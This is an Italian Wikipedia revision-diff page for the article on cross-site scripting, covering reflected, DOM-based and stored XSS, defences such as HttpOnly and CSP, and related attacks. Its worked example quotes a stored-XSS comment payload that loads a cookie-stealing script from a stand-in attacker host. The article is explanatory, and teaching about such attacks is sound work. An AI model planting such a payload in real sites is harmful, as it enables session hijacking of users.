Cross-site scripting: differenze tra le versioni
Contenuto cancellato Contenuto aggiunto
Rimozione frase palesemente falsa e pubblicitaria |
m Bot: parametri del template Cita web e modifiche minori |
||
Riga 24:
Le vulnerabilità cross-site scripting di tipo reflected sono sicuramente le più comuni. È possibile sfruttarle quando i dati forniti dall'utente (di solito tramite form HTML) sono usati immediatamente dallo script lato server per costruire le pagine risultanti senza controllare la correttezza della richiesta.
Dato che i documenti HTML hanno una struttura piatta in cui sono mescolate istruzioni di controllo, di formattazione e di contenuto effettivo, se tutti i dati forniti dall'utente non validati sono inclusi nella pagina risultante senza un'adeguata codifica HTML, questo può portare a iniezione di codice di markup<ref>{{Cita libro|autore=Paco Hope, Ben Walther|titolo=Web Security Testing Cookbook|anno=2008|editore=O'Reilly Media|p=128|ISBN=978-0-596-51483-9}}</ref>
Un attacco non persistente è tipicamente inviato via mail o da un sito web neutrale. L'esca è un URL dall'aspetto innocente, che punta a un sito attendibile ma che contiene un vettore XSS. Se il sito affidabile è vulnerabile a quel vettore, il click sul link può causare l'esecuzione di script iniettato nel browser della vittima.
Riga 46:
Mentre il codice JavaScript processa anche gli input dell'utente e li visualizza nella pagina web, la nuova sottoclasse di attacchi XSS di tipo reflected ha iniziato ad apparire ed è stata chiamata [[Document Object Model|DOM]]-based cross-site scripting. Negli attacchi XSS DOM-based, i dati malevoli non sono toccati dal server web, piuttosto, sono riflessi dal codice JavaScript interamente sul lato client.<ref>{{Cita testo|titolo=[[owasp:DOM_Based_XSS|DOM Based XSS - OWASP]]|pubblicazione=[[Open Web Application Security Project]]}}</ref>
Un esempio di vulnerabilità XSS DOM-based è un bug trovato nel 2011 in una serie di plugin [[JQuery]]<ref>{{Cita web|url=https://bugs.jquery.com/ticket/9521|titolo=#9521 (XSS with $(___location.hash) and $(#<tag>) is needed?) – jQuery - Bug Tracker|sito=bugs.jquery.com|accesso=21 maggio 2016}}</ref>. Le strategie di prevenzione per gli attacchi XSS DOM-based includono misure molto simili alle strategie tradizionali di prevenzione XSS, ma implementate in codice [[JavaScript]] e incluse nelle pagine<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet|titolo=DOM based XSS Prevention Cheat Sheet - OWASP
== Un esempio di attacco ==
Riga 81:
# Mallory osserva che il sito di Bob contiene una vulnerabilità XSS. Se si va nella sezione News e si posta un commento, verrà visualizzato ciò che è stato digitato. Ma se il testo del commento contiene dei tag HTML i tag verranno visualizzati così come sono. Lo stesso accadrà per eventuali tag di script.
# Mallory legge l'articolo nella sezione News e scrive in un commento. Nel commento inserisce questo testo: <code>Io amo i cuccioli di questa storia. Sono così carini! <script src="http://mallorysevilsite.com/authstealer.js"></code>,
# Quando Alice (o chiunque altro utente) carica la pagina con il commento, lo script di Mallory viene eseguito, ruba il cookie di sessione di Alice e lo invia al server segreto di Mallory<ref name="thegeekstuff.com">{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)
# Mallory può quindi sfruttare la sessione di Alice e usare il suo account fino a una eventuale invalidazione del cookie<ref name="thegeekstuff.com"/><ref>{{Cita web|url=http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|titolo=The top 10 reasons Web sites get hacked|cognome=Brodkin|nome=Jon|sito=Network World|accesso=21 maggio 2016|urlmorto=sì|urlarchivio=https://web.archive.org/web/20140327213413/http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|dataarchivio=27 marzo 2014}}</ref>.
Il software del sito di Bob avrebbe potuto analizzare i commenti nella sezione notizie e rimuovere o correggere eventuali script, ma non l'ha fatto, in questo risiede il bug di sicurezza.
Riga 95:
Oltre al filtraggio dei contenuti, sono comunemente usati altri metodi per mitigare il cross-site scripting.
Un esempio è l'uso di controlli di sicurezza aggiuntivi durante la manipolazione della sessione basata sui cookie. Molte applicazioni web si basano sui [[cookie]] di sessione per gestire l'autenticazione tra le diverse richieste HTTP, e dato che gli script lato client hanno generalmente accesso a questo cookie, semplici XSS possono rubarli<ref>{{Cita web|url=https://www.ibm.com/developerworks/ibm/library/wa-secxss/|titolo=Prevent a cross-site scripting attack
Un'altra soluzione è presente in [[Internet Explorer]] (dalla versione 6), [[Mozilla Firefox|Firefox]] (dalla versione 2.0.0.5), [[Safari (browser)|Safari]] (dalla versione 4), [[Opera (browser)|Opera]] (dalla versione 9.5) e [[Google Chrome]]; è il flag ''HttpOnly'' che consente a un server web di settare un cookie non accessibile dallo script lato client. Se usata, la funzione può prevenire completamente il furto di cookie ma non gli attacchi all'interno del browser<ref>{{Cita web|url=http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php|titolo=Ajax and Mashup Security|autore=OpenAjax Alliance|data=|accesso=|urlmorto=sì|urlarchivio=https://web.archive.org/web/20080403234132/http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php|dataarchivio=3 aprile 2008}}</ref>.
Riga 107:
=== Tecnologie di difesa emergenti ===
Ci sono tre classi di difesa da XSS che stanno emergendo. Queste includono Content Security Policy<ref>{{Cita web|url=https://www.w3.org/TR/CSP/|titolo=Content Security Policy Level 2
== Servizi di scanning ==
Riga 115:
In un attacco '''Universal Cross-Site Scripting''' ('''UXSS''', o '''Universal XSS''') vengono sfruttate le vulnerabilità del browser stesso, piuttosto che le vulnerabilità nei siti web, come per gli attacchi XSS.
Diverse classi di vulnerabilità o tecniche di attacco sono legate a XSS: i cross-zone scripting permettono l'esecuzione di codice con maggiori privilegi in alcuni browser<ref>{{Cita web|url=http://www.h-online.com/security/news/item/Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225.html|titolo=Security hole in Internet Explorer allows attackers to execute arbitrary programs - The H Security: News and Features
[[Cross-site request forgery]] (CSRF/XSRF) è quasi l'opposto del XSS, nel senso che invece di sfruttare la fiducia degli utenti in un sito, l'attaccante e la sua pagina malevola, sfrutta la fiducia del sito nel software del client, facendo richieste che il sito ritiene azioni consapevoli e intenzionali di un utente autenticato<ref>{{Cita web|url=http://www.cgisecurity.com/articles/csrf-faq.shtml|titolo=This page has moved!
Covert Redirect sfrutta client di terze parti suscettibili ad attacchi XSS o Open Redirect. Covert Redirect è stato scoperto dal dottorato di ricerca dello studente Wang Jing del Nanyang Technological University, in Singapore. “Tentativi di normale phishing possono essere facilmente individuati, perché l'URL della pagina malevola è di solito diversa al massimo un paio di lettere rispetto a quella del sito vero e proprio. La differenza con Covert Redirect è che un utente malintenzionato potrebbe utilizzare il sito web vero e proprio anziché violare il sito web con un pop-up di login dannoso.”<ref>{{Cita web|url=http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html|titolo=Facebook, Google Users Threatened by New Security Flaw|sito=Tom's Guide|data=2 maggio 2014|accesso=21 maggio 2016}}</ref>
Infine, [[SQL injection]] sfrutta una vulnerabilità nel livello di database dell'applicazione. Quando l'input dell'utente non viene filtrato in modo corretto, possono essere eseguite dall'applicazione tutte le istruzioni SQL.<ref>{{Cita web|url=http://www.cgisecurity.com/xss-faq.html|titolo=The Cross-Site Scripting (XSS) FAQ
== Note ==
| |||